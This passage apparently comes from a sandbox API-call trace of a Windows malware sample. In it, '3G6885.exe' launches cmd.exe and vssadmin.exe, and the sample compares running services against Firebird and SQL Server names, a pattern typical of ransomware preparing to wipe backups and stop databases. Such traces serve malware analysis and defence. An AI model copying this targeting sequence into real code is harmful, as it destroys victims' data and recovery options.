dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0056.789] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0056.789] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0056.789] lstrlenW (lpString="platformsprivate.exe") returned 20 [0056.789] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0056.790] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0056.790] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0056.791] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0056.791] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0056.792] lstrlenW (lpString="scan-allows.exe") returned 15 [0056.792] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0056.793] lstrlenW (lpString="mwprovince.exe") returned 14 [0056.793] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0056.793] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0056.793] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0056.794] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0056.794] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0056.795] lstrlenW (lpString="contacting.exe") returned 14 [0056.795] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0056.796] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0056.796] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0056.796] lstrlenW (lpString="jpmanagers.exe") returned 14 [0056.796] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0056.797] lstrlenW (lpString="motor.exe") returned 9 [0056.797] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0056.798] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0056.798] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0056.798] lstrlenW (lpString="toshiba.exe") returned 11 [0056.798] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.799] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0056.799] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0056.800] lstrlenW (lpString="mobsync.exe") returned 11 [0056.800] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0056.801] lstrlenW (lpString="3G6885.exe") returned 10 [0056.801] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.802] lstrlenW (lpString="cmd.exe") returned 7 [0056.802] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.802] lstrlenW (lpString="conhost.exe") returned 11 [0056.802] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0056.803] lstrlenW (lpString="vssadmin.exe") returned 12 [0056.803] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0056.804] lstrlenW (lpString="VSSVC.exe") returned 9 [0056.804] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.804] lstrlenW (lpString="svchost.exe") returned 11 [0056.805] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0056.805] CloseHandle (hObject=0x208) returned 1 [0056.805] Sleep (dwMilliseconds=0x1f4) [0057.619] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63ff68 [0057.620] EnumServicesStatusExW (in: hSCManager=0x63ff68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0057.620] GetLastError () returned 0xea [0057.620] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12c6) returned 0x3f00060 [0057.620] EnumServicesStatusExW (in: hSCManager=0x63ff68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f00060, cbBufSize=0x12c6, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f00060, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0057.621] CloseServiceHandle (hSCObject=0x63ff68) returned 1 [0057.621] lstrlenW (lpString="Appinfo") returned 7 [0057.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0057.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0057.622] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0057.622] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0057.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0057.622] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0057.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.622] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0057.622] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0057.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0057.622] lstrlenW (lpString="AudioSrv") returned 8 [0057.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0057.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0057.622] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0057.622] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0057.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0057.622] lstrlenW (lpString="BFE") returned 3 [0057.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0057.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0057.622] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0057.622] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0057.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0057.622] lstrlenW (lpString="CryptSvc") returned 8 [0057.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0057.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0057.623] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0057.623] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0057.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0057.623] lstrlenW (lpString="CscService") returned 10 [0057.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0057.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0057.623] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0057.623] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0057.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0057.623] lstrlenW (lpString="DcomLaunch") returned 10 [0057.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.623] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0057.623] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0057.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0057.623] lstrlenW (lpString="Dhcp") returned 4 [0057.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0057.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0057.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0057.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0057.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0057.623] lstrlenW (lpString="Dnscache") returned 8 [0057.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0057.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0057.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0057.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0057.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0057.624] lstrlenW (lpString="DPS") returned 3 [0057.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0057.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0057.624] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0057.624] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0057.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0057.624] lstrlenW (lpString="eventlog") returned 8 [0057.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0057.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0057.624] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0057.624] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0057.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0057.624] lstrlenW (lpString="EventSystem") returned 11 [0057.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0057.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0057.624] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0057.624] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0057.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0057.624] lstrlenW (lpString="gpsvc") returned 5 [0057.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0057.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0057.624] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0057.624] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0057.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0057.624] lstrlenW (lpString="iphlpsvc") returned 8 [0057.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.624] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0057.624] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0057.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0057.625] lstrlenW (lpString="LanmanServer") returned 12 [0057.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0057.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0057.625] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0057.625] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0057.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0057.625] lstrlenW (lpString="LanmanWorkstation") returned 17 [0057.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.625] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0057.625] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0057.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0057.625] lstrlenW (lpString="lmhosts") returned 7 [0057.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0057.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0057.625] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0057.625] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0057.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0057.625] lstrlenW (lpString="MMCSS") returned 5 [0057.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0057.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0057.625] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0057.625] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0057.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0057.625] lstrlenW (lpString="MpsSvc") returned 6 [0057.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0057.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0057.625] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0057.625] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0057.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0057.626] lstrlenW (lpString="Netman") returned 6 [0057.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0057.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0057.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0057.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0057.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0057.626] lstrlenW (lpString="netprofm") returned 8 [0057.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0057.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0057.626] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0057.626] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0057.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0057.626] lstrlenW (lpString="NlaSvc") returned 6 [0057.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0057.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0057.626] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0057.626] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0057.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0057.626] lstrlenW (lpString="nsi") returned 3 [0057.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0057.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0057.626] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0057.626] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0057.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0057.626] lstrlenW (lpString="PcaSvc") returned 6 [0057.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0057.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0057.626] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0057.626] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0057.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0057.626] lstrlenW (lpString="PlugPlay") returned 8 [0057.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0057.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0057.627] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0057.627] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0057.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0057.627] lstrlenW (lpString="Power") returned 5 [0057.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0057.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0057.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0057.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0057.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0057.627] lstrlenW (lpString="ProfSvc") returned 7 [0057.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0057.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0057.627] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0057.627] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0057.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0057.627] lstrlenW (lpString="RpcEptMapper") returned 12 [0057.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.627] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0057.627] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0057.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0057.627] lstrlenW (lpString="RpcSs") returned 5 [0057.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0057.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0057.627] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0057.627] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0057.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0057.627] lstrlenW (lpString="SamSs") returned 5 [0057.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0057.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0057.628] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0057.628] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0057.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0057.628] lstrlenW (lpString="Schedule") returned 8 [0057.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0057.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0057.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0057.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0057.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0057.628] lstrlenW (lpString="SENS") returned 4 [0057.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0057.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0057.628] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0057.628] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0057.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0057.628] lstrlenW (lpString="ShellHWDetection") returned 16 [0057.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.628] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0057.628] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0057.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0057.628] lstrlenW (lpString="Spooler") returned 7 [0057.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0057.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0057.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0057.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0057.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0057.628] lstrlenW (lpString="swprv") returned 5 [0057.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0057.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0057.629] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0057.629] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0057.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0057.629] lstrlenW (lpString="SysMain") returned 7 [0057.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0057.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0057.629] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0057.629] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0057.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0057.629] lstrlenW (lpString="Themes") returned 6 [0057.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0057.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0057.629] 